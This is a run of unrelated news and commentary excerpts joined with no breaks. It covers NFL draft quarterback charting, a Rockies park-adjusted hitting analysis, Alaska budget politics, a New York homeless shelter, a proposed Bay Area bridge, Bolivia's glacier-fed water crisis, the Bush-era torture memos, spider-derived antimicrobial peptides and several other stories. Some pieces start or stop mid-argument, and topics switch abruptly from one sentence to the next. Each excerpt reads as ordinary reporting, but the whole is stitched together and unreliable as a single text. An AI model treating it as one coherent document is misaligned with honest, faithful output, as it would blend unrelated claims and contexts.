Our analysts charted 20 quarterbacks from last year’s draft class, and while Prescott’s overall numbers were solid, a deeper look showed a few areas in which he excelled. Prescott had the best accuracy (defined as a perfectly-thrown pass “in-stride,” or one that hits the receiver between the numbers; passes that are “catchable,” but off-target, do not count as accurate for this study) in the draft class on passes where his receivers had a step of separation. He also led the way on passes with a step of separation at both the 6-10-yard range and the 11-20-yard range.
If that’s the case, why didn’t Prescott lead in overall accuracy? The answer: His accuracy on throws into “tight” coverage was among the worst in the class (16th), and he also threw a higher percentage of tighter-window throws into tight coverage (7 percent higher than the class average). Whether that was Prescott taking more chances, not having the receivers to separate, or not having the system that set up easier throws, the overall numbers were pushed down by his high percentage of throws into tight coverage.
Here are a few more takeaways from Prescott’s accuracy numbers last season:
72.5 percent of Prescott’s throws went to “open” receivers, defined as having at least one step of separation, including screens and passes thrown behind the line of scrimmage. The draft class average was 80.0 percent, meaning Prescott had 7.5 percentage points fewer “easy” throws than his peers.
The draft class average for accuracy on passes to open receivers was 58.1 percent. Prescott bested that by 8.8 percent, at 66.9 percent.
The draft class average for accuracy on passes to receivers with a step of separation was 49.8 percent. Prescott was 12.9 percent better, at 62.7 percent.
It’s all starting to make sense now, of course, with the benefit of hindsight. The Cowboys’ scheme did a fantastic job of creating open receivers, and Prescott did an equally-fine job finding them. Our numbers backed up that Prescott would excel in the right situation with open windows to throw to, and Dallas gave him that opportunity. The tight-window throws are still a concern, and we will have Prescott’s Year 1 data in the near future. For now, Prescott’s breakout doesn’t look all that crazy when analyzing the area in which he excelled in college and the offense that he found himself in as a rookie.
Scouting report for running back Leonard Fournette
Just how good is the former LSU running back? PFF analyst Matt Claassen is a former college running back, and he does a lot of our work in evaluating the running backs in the draft class. Matt sees the positives to Fournette’s game, but there is at least one weakness for zone-heavy teams, and there are still questions about Fournette’s future contributions in the passing game.
https://twitter.com/PFF_College/status/833778004618833921
PFF analyst draft takes
Our analysts are hard at work analyzing the 2017 draft class and adding their spin on what they’re seeing. The beauty here is that we’re not always in lockstep with each take, and it shows the unique interpretation each of our analysts can have when watching film and analyzing PFF grades and stats. Here are a few of the more interesting takes of the week:
https://twitter.com/PFF_College/status/833307169969860608
Samuel did it all for the Buckeyes, ranking second only to Oklahoma’s Joe Mixon with a receiving grade of 87.1 last season, lining up at receiver on 441 of his snaps. Samuel lined up in the backfield on 202 snaps.
https://twitter.com/PFF_College/status/831966062983909377
Gordon McGuinness goes bold with his declaration that Lattimore is the best corner in the class. There aren’t many six-foot corners with Lattimore’s movement skills and ability to play press or off coverage, and he’s currently ranked 18th on the PFF Draft Board (fifth among cornerbacks). Lattimore may be making a leap forward in our next rankings.
https://twitter.com/PFF_College/status/830154125207810049
Gordon McGuinness is our special teams expert for both the NFL and college football, and while his kicker-love can be a bit much at times, Gonzalez is a legitimate NFL prospect. The question then goes to draft value for a good kicker, and end of day two is still too high for my liking. Unless a team is loaded with picks, it’s best to find kickers on Day 3.
PFF Draft Podcast
The latest PFF Draft Podcast is now available, as I team up with Senior Analyst Mike Renner for our usual ramblings, including a pick-by-pick breakdown of Mock Draft 4.0. Mike brings it with his usual “hot take” of the week, and this one was burning so strong that he had to kick off the show with it. We also discuss players moving up and down the draft board, review old scouting reports (including some insight on Dak Prescott). We are also blessed with Nathan Jahnke’s mind-blowing stat of the week, quickly becoming the most-talked about segment in football podcasting.
Be sure to download and subscribe to the PFF Podcast from your favorite provider.
PFF Draft Pass
(Technically in the National League the average comes out to about 95 or 96 instead of 100 because of the pitchers batting and the formula getting slightly altered, but the idea is the same.)
The best thing about wRC+ is that it's park and league adjusted, meaning we can take guys who play in different parks and different eras and put their wRC+ numbers next to each other and get a really good idea of how they stack up.
It all works really well, until the Rockies come into the equation. Their numbers seem to reveal either a breakdown in wRC+, or worse yet, a breakdown of a competitive balance as it relates to one team within the sport.
Here's what I'm talking about: Below are the wRC+ numbers the Rockies have put up at home and on the road each year starting in 2002. Why 2002? Well for one, that's when the humidor was installed at Coors Field, but it's also as far back as FanGraphs will let us look at these numbers for teams as a whole so it works on two levels.
There's so much to digest here. This data could produce about a dozen subplots that would all make their own compelling series of articles.
However, I want to focus on something in particular. Look at the gap between the home wRC+ numbers and the road wRC+ numbers for the Rockies. It's at least nine every single year with the exception of 2011, and it's been 25 or larger in five of 13 years the data is available.
This shouldn't happen. Remember, wRC+ is supposed to take the park into effect. A small swing in the numbers would make some sense as most hitters do find more success in their home park, but the enormous gap here can't be explained by that morsel.
Add these figures up over the years, and it comes to that jarring set of numbers at the bottom of the table. A 99 wRC+ in Coors field, and an 82 wRC+ on the road. That 17 point swing in wRC+ is about equal to the difference in career wRC+ between Troy Tulowitzki and Seth Smith. In other words, WAY too large to be explained by comfort in your home park. Something else is going on here. Something big.
For more context, I decided to look up the gaps in home wRC+ and road wRC+ for the other teams in the National League over this same period (all games from 2002 through 2014). What I really wanted to see is if the Rockies represent some sort of huge outlier. Here's what the numbers show.
Now the plot really thickens. While the data does confirm the general idea of teams naturally hitting better at home than on the road due to familiarly of playing in the same park over and over again, the rest of the National League falls into a pile where that advantage is confined to a small window between four and nine notches on the wRC+ scale. If you average out the difference in wRC+ numbers at home and on the road for the other 14 National League teams, it comes to a difference of seven.
However, for the Rockies, that number jumps to a staggering 17, which is miles and miles outside of what we see from any other team. Again, with a park adjusted stat like wRC+, we shouldn't see wildness like this. It's supposed to compensate for the environment and tell us how good a player or team is offensively regardless of location or time.
This leads us to a chilling reality where one of two earth-shattering notes almost has to be true. Either wRC+ is wrong when it comes to the Rockies and how it adjusts its formula to Coors Field, or the Rockies are playing a game that's rigged against them.
If the former explanation is correct, the road wRC+ numbers are correct and the Park Effect formula does not penalize our hitters enough for the offensive boon they receive for playing 81 games a year a mile above sea level. In this scenario, the Rockies have actually put the worst offensive product on the field in the National League since 2002 as indicated by their road wRC+ number. It's only been masked by the generosity of Coors Field and the inability of wRC+ to properly account for it. It seems unlikely with guys like Todd Helton, Matt Holliday, Troy Tulowitzki, and Carlos Gonzalez on these rosters, but it would fit one of the plausible scenarios.
If the second explanation is correct, wRC+ is accurately (or very close to accurately) accounting for Coors Field, and in that scenario the Rockies since 2002 have actually put out an offense closer to the 99 wRC+ number. However, because the Rockies' hitters have to adjust to the abrupt changes in breaking pitches at sea level, their offense gets considerably worse on the road to the point where it causes them to lose an extra handful of games every season that no other team would lose.
If we take the National League average gap in wRC+ for the other 14 teams between home and away numbers, the drop off is about seven points, meaning that the Rockies should have a road wRC+ of about 92 over the last 13 seasons. Instead, that number is all the way down at 82. This means that Rockies could automatically be sliding five pegs down the wRC+ scale when you look at their final overall numbers at the end of each season. This would be true for individual players and the team as a whole.
In other words, Todd Helton is not a career 132 wRC+ hitter as it says on his FanGraphs page, he's actually a career 137 wRC+ hitter who had to play 81 games on the road each year in an adjustment environment no other team has to face. This could be a big subject when his Hall of Fame eligibility starts coming around, especially since Wins Above Replacement (WAR) is directly tied to these Park Adjusted numbers, but for now, let's focus on the bigger issue.
Here's what I believe is the largest clue in telling us which scenario is correct. Below are two tables: The first compares the Rockies wRC+ at home each season to the NL average, and the second compares the Rockies wRC+ on the road each season to the NL average.
The home numbers show the Rockies bouncing up and down as an offense each season. There's some good years, some bad years, and some very close to average years. It's what you would expect to see from a general test sample of a club who's had some big stars put on the uniform for several seasons and some big holes in the lineup for several seasons. In short, if the wRC+ Park Factor numbers are incorrectly compensating for Coors Field, I wouldn't expect the numbers to line up as close to common sense as this. It should produce something wonky, and instead this seems very reasonable.
The road numbers on the other hand tend to support the idea that the Rockies are operating at a competitive disadvantage to all the other teams in baseball. Like a drug addict not being able to function when they come off a high without a fix, Rockies' hitters don't seem to be able to function properly when they come off the high of hitting at Coors Field.
If you throw out 2014 (since the Rockies have only played 24 games on the road so far), the Rockies have never had a season where they've been able to hit 90 wRC+ on the road. When they've come closest (89 in 2007 and 88 in 2009), they've reached the postseason.
This is a huge problem for a franchise that already has to deal with two behemoths in its division in the Dodgers and the Giants. The Rockies simply can't afford to deal with something that's going to rob them of a handful of wins every single season from here to eternity; and yet, that seems to be the hand they've been dealt.
I don't want to call it a definite conclusion, but the data here seems to seriously suggest a worst case scenario - And we're not even close to dealing with small sample sizes. If true, it may be many, many years before the Rockies ever win a division title, because even if they were run perfectly, they don't just have to put a team on the field who can beat the other four teams in the division, they have to put a team on the field who can beat the other teams in the division by several games just to get on a level playing field.
Two weeks before the scheduled end of the 90-day session, leaders of the House majority coalition — which is mostly Democrats with a few Republicans and independents — laid out a schedule Friday that would send its oil tax measure to the state Senate just as time expires.
The Legislature can override the 90-day limit because it's a law, and the Legislature writes laws. And Homer Rep. Paul Seaton — one of three Republicans in the majority — said that the huge scope of the state's deficit, along with the proposals under consideration, justify working past the deadline, within a 120-day window allowed under the Constitution.
"This is one of the biggest changes we're going to have in state government in a decade, or maybe a generation," said Seaton, co-chair of the House Finance Committee. "Doing it right is critical, so that we get a balanced plan."
The Republican-controlled Senate, meanwhile, argues that its own deficit-reduction proposal, without the tax measures, does enough to fix the budget gap for one year — dropping it from nearly $3 billion to less than $1 billion by relying on budget cuts and a restructured Permanent Fund.
Senate majority leader Peter Micciche, R-Soldotna, said that if the House doesn't make much progress in the next two weeks, senators will leave Juneau and return when the House "is ready to come to the table."
"And we look forward to coming to the table," Micciche said in an interview Friday. But when Day 90 arrives, he added: "If the gaps that exist now exist then, the Senate is going home."
The ticking clock and the persistent divide between the two chambers are starting to draw unfavorable comparisons to last year, when a similar dynamic kept the Legislature at work for three extra months.
The lack of progress in the past week was enough to catch the attention of Gov. Bill Walker, who has campaigned for deficit-reduction measures for more than a year. After a relatively quiet first 10 weeks of the session, he dipped a toe back into the budget debate Friday with a prepared statement that reiterated his praise of the Senate's vote to restructure the Permanent Fund — while also saying that the measure alone is "not enough."
"Alaskans deserve a complete plan — one that removes uncertainty so we can move on to build a stronger Alaska economy," Walker's statement said.
On Friday, the session's 74th day, the two chambers' approaches to the state's $2.8 billion deficit appeared to have barely budged since lawmakers were sworn in Jan. 17.
The Senate is eyeing $300 million in cuts to the state's $4.3 billion operating budget, along with the restructured Permanent Fund. Under Senate Bill 26, which was approved 12-8 in a March vote, about $2 billion in the fund's investment earnings would go toward filling the budget gap, while residents' dividend checks would be reduced to $1,000 — down from payments of near $2,000 in 2014 and 2015.
Senate Republicans have so far publicly proposed only about $200 million in reductions, short of their $300 million target.
But assuming they materialize, the cuts, combined with SB 26, would slice the deficit to about $500 million. That's a little less than 10 percent of the cash that will be left in the state's main savings account, the Constitutional Budget Reserve, at the end of the fiscal year June 30, according to Walker's administration.
At a Thursday breakfast in Anchorage hosted by three business groups with close ties to the oil industry and its allies — the Alaska Chamber, the Support Industry Alliance and the Resource Development Council — the Senate president, Pete Kelly, R-Fairbanks, reiterated his Republican-led majority's opposition to the other revenue measures under consideration in the House.
"Where we've kind of thrown down the gauntlet is at income tax and oil taxes. We're just not going down that path," said Kelly, drawing applause. He later traveled to Fairbanks for a Friday forum with two other Republican senators.
Micciche, who flew to Anchorage with Kelly along with Sen. Mia Costello, R-Anchorage, said leaving Juneau for the breakfast was justified because "there were hundreds and hundreds of community leaders from around the state in that room that need to understand what we're doing."
"We need to get our plan out to the public," Micciche said. "Those are our constituents."
House leaders, meanwhile, argue that by leaving a budget hole, the Senate's plan is incomplete. They also argue that it's unfair because each Alaskan will see an equal dividend reduction regardless of class — meaning that poor residents would lose a bigger chunk of their income.
The House wants to use the income tax to eliminate the deficit and balance the impact of its own proposed dividend reduction. High-earners would face higher tax rates under the House plan: Income of less than $50,000 would be taxed at 2.5 percent, while earnings above $250,000 would be taxed at 7 percent.
House Speaker Bryce Edgmon, D-Dillingham, gathered reporters in his expansive second-floor office at the Capitol on Friday for a PowerPoint presentation, where, brandishing a metal pointer, he laid out the House's philosophy behind the income and oil tax proposals.
"Kudos to the Senate for putting their plan forward," Edgmon said. "In no way are we, as a group, denigrating their performance. We're just saying that it doesn't go far enough."
House majority members are pushing for a broader plan this year because, they argue, lawmakers will be less likely to take action next year when they're up for re-election.
The House Finance Committee is still proceeding at a relatively unhurried pace, with no meetings scheduled over the weekend.
Seaton urged patience, saying the committee will finish its work on its income tax and Permanent Fund legislation in the coming week, with oil taxes on its schedule the following week. That's the last week before lawmakers hit their 90-day deadline, leaving scant time for the Senate to consider the bills or for negotiations between the two chambers.
"It's getting it right or getting it quick," Seaton said.
One House minority member, Rep. Dave Talerico, R-Healy, said he's already made arrangements to keep his housing in Juneau through at least the end of April — about two weeks extra.
Some of his GOP colleagues — especially those on the House Finance Committee — have shown frustration with the majority's deliberate process. But Talerico said he was pleased the House was continuing work on legislation that's not directly involved in fixing the budget gap.
He's still pushing a pair of his own bills — one to allow verbal comments on state regulations, and another to boost food banks and charities by reducing donors' liability for their contributions of food.
"We've still got things we're working on and things we're doing," Talerico said.
But Micciche's patience was starting to wear thin.
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The 30th Street Men’s Shelter, otherwise known as “Bellevue,” is New York City’s largest homeless shelter. But the building itself was once better known as Bellevue Psychiatric Hospital, and traces of its asylum past remain. Built in 1931 by Charles B. Meyers, the nine-story red brick structure remains enclosed by a tall, spiked, wrought-iron fence. Dead vines grow up the walls; square windows remain in the doors. Not all the signs were replaced.
It’s hard to ignore the irony of housing homeless people in what used to be a psychiatric hospital. Among those who found themselves inside the building recently were parolees, substance abusers, the mentally ill, people simply down on their luck—and me. Since I wasn’t given permission by New York City’s Department of Homeless Services to do a multimedia project there, I checked myself in and stayed a few nights. Once I got to know some of the tenants, I was able to visit on a regular basis and record what I found.
Narrated by tenant Carl Foye, the resulting video (below) takes you behind Bellevue’s closed doors.
Click through the gallery to see our readers' present-day traffic annoyances. less An architect’s 1950s rendering of a proposed Southern Crossing at Hunters Point in San Francisco. It was one of several versions of the bridge proposed between the 1940s and 1970s but never undertaken. Click ... more An architect’s 1950s rendering of a proposed Southern Crossing at Hunters Point in San Francisco. It was one of several versions of the bridge proposed between the 1940s and 1970s but never undertaken. Photo: Chronicle File Photo: Chronicle File Image 1 of / 20 Caption Close Feinstein: Traffic is terrible. Build a new bay bridge 1 / 20 Back to Gallery
Sen. Dianne Feinstein renewed her call Wednesday for a so-called Southern Crossing — a new east-west transbay bridge somewhere south of the always-congested Bay Bridge.
Feinstein, D-Calif., has repeatedly called since 2000 for a Southern Crossing, an idea that has been around since the 1940s, but has been rejected in recent years as too costly and environmentally problematic.
On Wednesday, joined by Rep. Mark DeSaulnier, D-Concord, she sent a letter to Steve Heminger, executive director of the Metropolitan Transportation Commission.
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The letter chastised the commission for not moving forward on a new transbay span. Its authors said it would relieve Bay Bridge congestion, and that it should be funded by Regional Measure 3, a ballot measure — written, but not yet scheduled — that could raise tolls on state-owned toll bridges by as much as $3.
“The traffic demands on our streets and transit systems have become intolerable. Quality of life is suffering,” Feinstein and DeSaulnier wrote. “A second crossing would alleviate traffic through San Francisco and the East Bay, would better connect the entire Bay Area, and would provide significant benefits for toll payers.”
They added: “We have communicated in the past about the need for another bay crossing, but this has not led to any concrete action. We need to move this issue forward expeditiously, and we would very much like your assistance in doing so,” they said.
MTC spokesman Randy Rentschler acknowledged receipt of the letter. He said the commission appreciated the acknowledgment of the need for major investment in Bay Area infrastructure. The letter, he said, will be taken seriously.
“We’re grateful to Senator Feinstein and Congressman DeSaulnier for leading on the issue that the Bay Area needs to build significant new infrastructure projects,” he said. “Imagine if instead of giving millionaires a $1.5 trillion tax break, our country invested in rebuilding the nation’s infrastructure to benefit everyone.”
But Rentschler did not commit to undertaking a new bay-crossing study, pointing out that it’s not on the list of projects the Legislature approved when it agreed to let the Bay Area vote on Regional Measure 3 to raise its tolls.
The commission is scheduled to discuss the measure, including how much of a toll increase to seek and when to put it before voters, on Dec. 20. But it probably won’t make a decision on the measure until Jan. 24.
“Where the commission is focused right now is on making a decision on Regional Measure 3,” Rentschler said. “A Southern Crossing is not a new idea, but it would be something in addition to the decision before the commission right now.”
Several versions of a Southern Crossing have been proposed through the decades, none of which has been undertaken.
After Feinstein floated the idea in 2000, the commission undertook a two-year study of what it would cost. It concluded that building a bridge from Highway 238 in Hayward to the Peninsula would cost $8.2 billion, saying that was cheaper than a new BART tube between San Francisco and Oakland but still costlier than the Bay Area could probably afford.
Another two-year study, completed in 2012, estimated the cost of a bridge that would carry both cars and some form of transit, at $12.4 billion.
Both studies assumed a new crossing that would be built from Interstate 380, in San Bruno, to Interstate 238 in San Leandro. The letter from Feinstein and DeSaulnier included no specifics but did mention “the need for an additional route for both BART and vehicular traffic.”
“What I would like is a really innovative look,” he said. “Maybe you look at light rail, maybe you look at BART, maybe you look at autonomous vehicles.”
Here’s the plan: Get the wizard to think you’re applying for an apprenticeship and you’ll have full run of the castle while he fiddles with his evil scheme. Now all you have to do is solve the mysteries of the ancient ruins, resolve an underwater love triangle, rescue the Unicorn (or Harpy) from that macho, Latin bull and unlock a dozen or so doors! And this is all before your side quest to to meet the wizard’s flamboyant brother-in-law!
Justice Anthony M. Kennedy seemed to be looking for a middle ground. “You should at least give some consideration to this disparity you have among voters” in different voting districts, he said, adding that it may be possible to achieve both goals. “Why is one option exclusive of the other?” he asked.
Lawyers defending Texas’s approach said the resulting districts would be misshapen and drawn without regard to other considerations, including county lines and race.
Ian H. Gershengorn, a deputy United States solicitor general, gave an example. “Manhattan has 9 percent children,” he said. “Brooklyn has 30 percent. If you have to do both, what you’re doing is pairing people from part of Manhattan and pairing them with voters in Brooklyn.”
The Constitution requires “counting the whole number of persons in each state” for apportioning seats in the House of Representatives among the states. Justice Elena Kagan said it struck her as unlikely that a different rule should apply for purposes of drawing state districts.
“How you go from that being mandated,” she said, referring to counting everyone, “to it being prohibited in the state context is something that I still can’t quite work myself around.”
Bolivia has declared a state of emergency as climate impacts shrink glaciers and leave cities without water.
SÃO PAOLO, 26 November, 2016 − The government of Bolivia, a landlocked country in the heart of South America, has been forced to declare a state of emergency as it faces its worst drought for at least 25 years.
Much of the water supply to La Paz, the highest capital city in the world, and the neighbouring El Alto, Bolivia’s second largest city, comes from the glaciers in the surrounding Andean mountains.
But the glaciers are now shrinking rapidly, illustrating how climate change is already affecting one of the poorest countries in Latin America.
The three main dams that supply La Paz and El Alto are no longer fed by runoff from glaciers and have almost run dry. Water rationing has been introduced in La Paz, and the poor of El Alto − where many are not yet even connected to the mains water supply − have staged protests.
The armed forces are being brought in to distribute water to the cities, emergency wells are being drilled, and schools will have to close two weeks ahead of the summer break
President Evo Morales sacked the head of the water company for not warning him earlier of the dangerous situation, but the changes produced by global warming have been evident for some time.
Shrinking snowline
A recent report by the Stockholm Environment Institute (SEI) says: “Temperatures in the region have risen by 0.5°C in the period 1976 to 2006, and the people of La Paz and El Alto can observe evidence of climate change in the form of the shrinking snowline in the mountains above them.
One glacier on Chacaltaya mountain − which rises above El Alto and which once hosted the world’s highest ski resort − has already completely disappeared. And the two Tuni-Condoriri glaciers that provide water for El Alto and La Paz lost 39% of their area between 1983 and 2006 − at a rate of 0.24 sq km per year.”
The SEI says that if the regional and global climate models that predict a two-degree rise in temperatures by 2050 are right, many small glaciers will completely disappear, while others will shrink dramatically.
“ Glaciers and mountain water systems also support agriculture, power generation and natural ecosystems throughout the region ”
It warns: “Glaciers are estimated to provide 20–28% of water for El Alto and La Paz. Therefore, glacier loss will have a considerable impact, which will be felt particularly during the dry season, when glacial water provides the majority of urban water.
“The glaciers and mountain water systems also support agriculture, power generation and natural ecosystems throughout the region.”
The problem is exacerbated in El Alto, a sprawling settlement of over a million people who have migrated from the countryside.
The city’s population grew by at least 30% between 2001 and 2012, and the city’s land area has rapidly expanded by 144% in the last decade, spreading into the flat open countryside to the south and west. By 2050, the population is expected to double to two million people.
The SEI believes that one of the causes of this increased influx into the city will be climate change. It says: “Evidence from El Alto’s history indicates that the fastest periods of population growth coincided with droughts, floods and bad harvests associated with the meteorological phenomena of El Niño and La Niña.
“The years 1985-1987, when migration into El Alto reached heights of 65,000 new immigrants, were also years of poor harvests.”
Supply outstripped
By 2009, demand for water in El Alto had already outstripped supply, and that supply is now increasingly under threat as climate change melts the glaciers.
Bolivia cannot rely on new sources to resolve its water crisis, given both the costs and potential range of climate change impacts. So one of the country’s most critical challenges in coming years will be to plan and implement strategies for managing water under uncertain climate conditions.
Conservation and recycling methods, the SEI says, will be needed to build the resilience of Bolivian cities’ water systems to climate change.
The cities will also need to find ways of reducing water consumption, especially from industries and commercial enterprises, but also from the profligacy of a small number of rich domestic consumers.
The group, Free Tibet, said in a news release that the monk, Kalsang, set himself ablaze at 2 p.m. in a vegetable market in the town of Aba, known in Tibetan as Ngaba. Kalsang was holding a picture of the Dalai Lama, Tibet’s exiled religious leader, at the time and called for religious freedom, the group said. Security officers extinguished the flames. the group said, but the monk’s condition was unclear.
Free Tibet did not specify the sources of its information. There was no immediate comment from Chinese officials, and no mention of the self-immolation in China’s state-run press.
The first self-immolation this year at Kirti, a monastery that was at the heart of local protests against the authorities in 2008, occurred on March 16, when Phuntsog, a 20-year-old monk, killed himself. On Sept. 26, two other young monks at Kirti set themselves on fire, but were believed at the time to have survived. One of the two monks, Lobsang Kalsang, was a brother of Phuntsog.
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Prior to this year, the only known instance of a monk setting himself on fire in recent times occurred at Kirti in Feb. 2009. The monk, Tapey, survived after his flames were extinguished by security officers.
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PHILADELPHIA—Bernie Sanders’ California delegates quickly built a reputation Monday night as the rowdiest pro-Sanders section in the Wells Fargo Center. But why? Could it be that they just really like Bernie Sanders, and want to make the most out of their costly cross-country trip to support their man? Or was the raucous environment the work of some nefarious chemical, such as alcohol?
“Here’s what’s going on,” a former Clinton administration aide, David Goodfriend, told the Hill. “Bernie-ites get hammered at the open bar, they come in here, and even when Elizabeth Warren is talking, they’re chanting over her. So here’s my offer … California Bernie delegates: Stay sober during proceedings, and I’ll buy you a round of shots after.”
Goodfriend told the Hill that there’s an open bar behind the California delegation. We rate this statement mostly true. The California delegation sits in section 105, and by section 106-107 rests P.J. Whelihan’s Pub, which promises “a fun and friendly atmosphere, award-winning food, and various pub beer selections.” But the general public, including reporters for online periodicals, cannot imbibe any of P.J.’s various pub beers this week, because the California delegation has rented the restaurant for itself and rebranded it “California Café.”
So how do Sanders’ California delegates respond to these accusations of public intoxication leveled by the misleadingly named Goodfriend?
“He’s not telling the truth,” said California Sanders delegate Robert M. Nelson, a retired NASA scientist. “I was in that bar. I drank with many Clinton delegates last night, and we talked about a lot of important things.” Nelson had first wanted to use a four-letter word to describe the drunkenness allegations, then figured that would play into the smearers’ hands. “Their goal is to make us look stupid. We’re very educated.”
“I think unless we were drinking hot tea with our fingers out, [former Clinton administration aides like Goodfriend] would have something to say about us,” said Karen Bernal, co-representative of the California Sanders delegates. Bernal knew of one person who “may have had a bit too much to drink, but absolutely everyone else was well behaved.” She added that she saw “plenty of Clinton people that were drinking too.
Indeed, by Bernal’s estimation, California Café and its array of pub delicacies has been a site of rapprochement between California’s Clinton and Sanders delegates. “This is where we have found a lot of—can I say?—collegiality in that bar between Clinton and Sanders.”
“We’ve had wonderful interactions,” Nelson added.
Sanders supporters in California may be making their voices heard, even at times when others are trying to speak. The evidence that booze is the impetus for such vocal displays, however, is sparse.
Published: Thursday April 16, 2009
Print This Email This UPDATE (at bottom): Obama says the law requires memos to be released
The Obama Administration is likely to redact key elements of several "torture" memos promulgated by the Bush Administration which dictated which techniques could "legally" be applied during prisoner interrogations.
Two officials told the Wall Street Journal Wednesday that " certain operational elements " of the program are to be kept secret, as well as what techniques were applied to particular prisoners.
Most likely to be kept from the spotlight is details in a still-classified memorandum which approved a method in which a prisoner's head could be struck against a plywood wall "as long as the head was being held and the force of the blow was controlled by the interrogator."
Such a technique was outlined in an International Red Cross report that was leaked to a reporter at the New York Review of Books. That story told of guards tying towels around at least two prisoners' necks and hurling them against a plywood wall, among numerous other macabre torture techniques.
Marc Ambinder, a veteran correspondent for The Atlantic, reported Wednesday that senior Administration officials "said that the Journal story does not reflect the current state of thinking, [but] would not disclose what decisions had been made."
"Holder, the attorney general, and others have argued internally that most of the information contained within the memo has already been released," Ambinder wrote. "The ACLU and other civil liberties groups have obtained more than 100,000 pages of formerly secret documents. The International Committee of the Red Cross's damning report on detention and torture was leaked to reporter Mark Danner last month; federal prosecutors and senior military officials have acknowledged, in detail, that not only were prisoners in CIA and military custody tortured, but described the means used to torture them.
"Others, knowing Washington's ways, believe that if the CIA is worried that some of the torture methods are truly gruesome, well, that's exactly the first bit of information that an enterprising official will leak," Ambinder added. "More headlines will be made."
An announcement on the release of the Bush-era torture memos is expected today.
UPDATE: Obama says the law requires memos to be released
"President Barack Obama says the release of legal opinions governing harsh questioning of terrorism suspects is required by the law and should help address 'a dark and painful chapter in our history,'" according to an Associated Press report.
"Obama issued a statement accompanying Thursday's release of four significant memos written by the Bush administration in 2002 and 2005. The president said that the interrogation techniques outlined in the memos 'undermine our moral authority and do not make us safer.'"
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ACS Chemical Biology
As antibiotic resistance rises and fears over superbugs grow, scientists are looking for new treatment options. One area of focus is antimicrobial peptides (AMPs), which could someday be an alternative to currently prescribed antibiotics, many of which are becoming increasingly useless against some bacteria. Now, a team reports in ACS Chemical Biology that they have improved the antimicrobial — and anticancer — properties of an AMP from a spider.
According to the U.S. Centers for Disease Control and Prevention, 2 million people become infected with antibiotic-resistant bacteria in the U.S. each year. Because no known antibiotics work against these bacteria, patients simply have to hope that their natural defenses eventually overcome the infection. But some patients experience severe symptoms, landing them in a hospital, and in extreme cases, they could die. Researchers are trying to find alternatives to traditional antibiotics, and one such possibility is a group of peptides called AMPs. These peptides are found in all plants and animals as a type of immune response and have been shown to be potent antibiotics in the laboratory. Gomesin, an AMP from the Brazilian spider Acanthoscurria gomesiana can function as an antibiotic, but it also has anticancer activity. When gomesin was synthesized as a circle instead of as a linear structure, these characteristics were enhanced. Sónia Troeira Henriques and colleagues wanted to further boost the peptide’s traits.
The team made several variations of the cyclic gomesin peptide and found that some of these were 10 times better at killing most bacteria than the previously reported cyclic form. In other experiments, the new AMPs specifically killed melanoma and leukemia cells, but not breast, gastric, cervical or epithelial cancer cells. The researchers determined that the modified peptides killed bacteria and cancer cells in a similar way — by disrupting the cells’ membranes. The group also notes that the modified AMPs were non-toxic to healthy blood cells.
The authors acknowledge funding from the Australian Research Council and the National Health and Medical Research Council.
But had it been, say, Louisville's women's basketball team, argues a writer for the Las Vegas Review-Journal, they would have responded with compassion and sisterhood and a group hug, probably increasing Ware's chances of infection.
"Steely women would've rushed to comfort injured teammate" is an awful headline, and probably not written by Review-Journal lifestyle columnist Xazmin Garza, but she does begin her argument with a case study from the movie Steel Magnolias. Men shy away from a comrade in distress, you see, while women's first instinct is to provide comfort. (Hope you like your commentary reductio ad nihilum.)
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Here's a taste:
They were shaken, clearly, by their teammate’s horrific injury. But, with one exception, the only people who rushed to Ware’s side were those paid to do it. Let’s imagine for a moment that Kevin was Kate and her teammates wore sports bras. The first instinct for most female athletes would have been to help, no matter how unsettling the dangling ankle. Coaches likely would have had to ask players to back up to give their teammate room. That’s what happened in 2009, when American female sprinter Muna Lee fell during a relay at the world track and field championships in Berlin. Her teammates crouched next to her as trainers saw to the source of her screams. Lee’s teammates even followed the gurney that rolled her away, despite officials’ aggressive efforts to stop them.
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Here's Muna Lee's injury. We should point out that Lee's relay-mates were done competing for the day, compared with Louisville players having to get right back on the court. And also, minor difference, Ware's leg shattered, and there was blood and bone and horror. Lee pulled a hamstring.
So Ware's teammates didn't rush to his side, with the exception of Luke Hancock, who must be totally in touch with his feminine side, am I right? Or maybe people react differently to witnessing trauma. Maybe those players who collapsed on the floor, the ones who physically supported their crying teammates while licensed medical staff covered Ware's gore and formed an opaque huddle around him, maybe their varied reactions shouldn't be reduced to their Y chromosomes.
Garza doesn't want to say that the lady way is better than the dude way. She's just observing, you know?
There’s no right or wrong way to react to a teammate’s broken bone hatching from his leg on a basketball court. But there is a man’s way and there is a woman’s way. At the end of the game, it’s about what works best for the team. Considering Louisville followed Ware’s last wishes to them and beat Duke, 85-63, it looks like they handled things just fine. [...] When Hancock stood up and inched his way to Ware, he proved some men really are made of steel. Some men are as strong as women.
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At least we live in a post-gender sports media world, where female columnists can offer platitudes as stupid as any male's.
Steely women would've rushed to comfort injured teammate [LVRJ]
The Times examines letters sent from the desk of The Donald to political adversaries and personal heroes alike, from his time as a New York real estate magnate, through his rise to the Republican Party’s presumptive nominee.
“P.S. You are a loser,” he wrote to movie director Mike Tollin in 2009, pillorying his film about the fall of the United States Football League, and calling the documentary “third rate” and “extremely dishonest.”
Not everything he wrote was negative.
“I adore and love my little darling,” to former wife Ivana. “I truly believe that you are the greatest,” he told her in another.
Framed, hanging and pinned across offices, bedroom walls and desks across the country, the pendulum swings of emotion found in Trump’s letters reflect much of what the electorate has witnessed in the past several months: Trump often enthusiastically declaring his love for supporters and admonishing the “dopes” and “losers” against him in the same breath.
“If I had a secretary to do them (…) they wouldn’t be nearly as effective, they wouldn’t be nearly as sharp,” Trump said of his affinity for old-fashioned pen-and-pad communication.
The Times isn’t the first journalistic endeavor to examine Trump’s correspondence.
Protesters shout slogans at a march against the G8 Hokkaido Toyako Summit in Sapporo, July 8, 2008. Environmental groups slammed rich nations' leaders for ducking their leadership responsibilities when they addressed global warming at a summit on Tuesday, with WWF saying the lack of progress was "pathetic". REUTERS/Kim Kyung-Hoon
“The G8 are responsible for 62 percent of the carbon dioxide accumulated in the Earth’s atmosphere, which makes them the main culprit of climate change and the biggest part of the problem,” WWF said after the G8 issued a communique on climate change.
“WWF finds it pathetic that they still duck their historic responsibility,” the campaign group said in a statement.
Earlier, Group of Eight G8 leaders meeting in northern Japan said they would work with nearly 200 states in the United Nations climate change talks to adopt a goal of at least halving greenhouse gas emissions by 2050.
They also said midterm goals — such as the EU’s plan to cut greenhouse gas emissions by at least 20 percent from 1990 levels by 2020 — would be needed to achieve that target.
